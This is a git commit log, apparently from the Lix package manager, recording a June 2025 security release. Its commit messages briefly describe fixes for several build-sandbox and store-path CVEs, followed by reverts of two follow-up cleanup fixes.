eldritch horrorsandRaito Bezarius	d227ad324e	Revert "libstore: fix scratch output cleanup" This reverts commit `779e795732` as this is an insufficient fix for the critical correctness bug. Change-Id: I5681c9f25537e01892e4c9e7feff2cee8b6edb25	2025-06-29 19:05:14 +00:00
eldritch horrorsandRaito Bezarius	2310539e66	Revert "libstore: don't delete already valid outputs after build" This reverts commit `4ef56601b5` as this is an insufficient fix for the critical correctness bug. Change-Id: I7885c437ce4df25002d92654312b3b1bae53bfa3	2025-06-29 19:04:43 +00:00
Raito Bezariusandeldritch horrors	3d446ea37e	releng: move to a non-official release This is required for releng to cut a new release. This is suboptimal releng as the script should probably do it itself and merge the releng branch. As we are in a hurry, we will skip this. Change-Id: I54fccb11938adefc8685d04247e16401135dad8d Signed-off-by: Raito Bezarius <raito@lix.systems>	2025-06-29 20:39:29 +02:00
eldritch horrors	4ef56601b5	libstore: don't delete already valid outputs after build eagerly consider outputs as not needing deletion during output registration rather than only doing so after registration. not waiting for registration to succeed may keep store paths alive in the file system if registration fails for some reason; that seem preferrable to the possibility of having another instance of this bug. since we only leave good outputs around there's not much to worry about except maybe bit of wasted disk space. fixes #883 Change-Id: I8c22c92e39b9e203f1061278f86cde19dc4474a4	2025-06-27 16:37:30 +02:00
eldritch horrors	779e795732	libstore: fix scratch output cleanup the daemon must use real store paths, not virtual store paths. using virtual paths may inadvertently delete paths in the system nix store when a build was run on a redirected store as root, which isn't good Change-Id: Id048b236bda0e0ab1f3be6ccba0ddc1de2a3e941	2025-06-27 16:37:08 +02:00
Raito Bezarius	151cb75236	release: 2.91.2 "Dragon's Breath" Release produced with releng/create_release.xsh Change-Id: Iaae75be51d51a553c29720e00f98565d314783bb	2025-06-24 13:12:01 +00:00
Raito Bezarius	17df7e0e35	release: release notes for 2.91.2 Release created with releng/create_release.xsh Change-Id: Idf78ea5315a8e6c3f44085605f2b2884754783ea	2025-06-24 13:12:01 +00:00
Raito Bezarius	f67a99bdd3	version: 2.91.1 -> 2.91.2 Fixes CVE-2025-46415, CVE-2025-46416, CVE-2025-52991, CVE-2025-52992, and CVE-2025-52993. Change-Id: Ie1d97a4e1569bf3b601753665b20cdeb5427e5ca Signed-off-by: Raito Bezarius <raito@lix.systems>	2025-06-24 13:12:01 +00:00
Raito Bezarius	d33062fd47	flake: bump `nix2container` skopeo had a patch that doesn't apply anymore. That's unfortunate. We force bump nix2container to resume releng building. Change-Id: Ic04d962bd444fd5619de6e0842d3535f8bd1b296 Signed-off-by: Raito Bezarius <raito@lix.systems>	2025-06-24 13:12:01 +00:00
Raito Bezarius	a2189bcb2e	libstore/build: automatic clean up of unsuccessfully built scratch outputs When a build fails, its scratch output paths are not cleaned up. Until recently, this was deemed not a problem but as part of the effort to harden the Nix builds and protect these paths against being part of a staged attack (race conditions, etc.), we automatically cleanup after failed builds. Fixes CVE-2025-52992. Change-Id: I58481b1cc83826298b9d80d37fecf81f117ccb09 Signed-off-by: Raito Bezarius <raito@lix.systems>	2025-06-24 10:50:21 +00:00
eldritch horrorsandRaito Bezarius	91f526e739	libstore: don't default build-dir to temp-dir if a build directory is accessible to other users it is possible to smuggle data in and out of build directories. usually this ins only a build purity problem, but in combination with other issues it can be used to break out of a build sandbox. to prevent this we default to using a subdirectory of nixStateDir (which is more restrictive). Fixes CVE-2025-52991. Change-Id: Iacfc9b50534de158618c815f9fb99d7dae1be4d0	2025-06-24 10:50:21 +00:00
eldritch horrors Raito Bezarius Puck Meerburg	9c2d05997d	libstore: use pasta for FODs if available This allows using a userspace program, pasta, to handle comms between the build sandbox, and the outside world; allowing for full isolation including the network namespace, closing the "fixed-output derivation talks to the host over an abstract domain socket" hole for good. Fixes CVE-2025-46416. Co-Authored-By: Puck Meerburg <puck@puckipedia.com> Change-Id: Ifd499b7dbb3784600a6e842fede65fc031ff9f15	2025-06-24 10:50:21 +00:00
eldritch horrorsandRaito Bezarius	83bba3f12c	libutil: add capability support to runProgram2 launching pasta to not run as root will ambient require capabilities. Change-Id: I1dd2506a1fa3944a9d9062123ef8a74903c597ea	2025-06-24 10:50:21 +00:00
eldritch horrorsandRaito Bezarius	de6629754d	libutil: add generic redirections runProgram2 explicit stderr redirection makes mergeStderrToStdout unnecessary also. Change-Id: I63de929e6dc53f6c5ceb2d43c2ce288bfc04d872	2025-06-24 10:50:21 +00:00
eldritch horrorsandRaito Bezarius	faa50e15c8	libutil: make RunningProgram more useful make it moveable, make it killable, and add a stdout fd accessor. Change-Id: I2387cbe8ac67b899a322cd6c7d306ef9ea7abcd0	2025-06-24 10:50:21 +00:00
Raito Bezarius	18a50a1734	libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds When calling `_deletePath` with a parent file descriptor, `openat` is made effective by using relative paths to the directory file descriptor. To avoid the problem, the signature is changed to resist misuse with an assert in the prologue of the function. Fixes CVE-2025-46415. Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96 Signed-off-by: Raito Bezarius <raito@lix.systems>	2025-06-24 10:50:21 +00:00
Raito Bezarius	d27c247715	libstore: ensure that `passAsFile` is created in the original temp dir This ensures that `passAsFile` data is created inside the expected temporary build directory by `openat()` from the parent directory file descriptor. Fixes CVE-2025-52993. Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a Signed-off-by: Raito Bezarius <raito@lix.systems>	2025-06-24 10:46:21 +00:00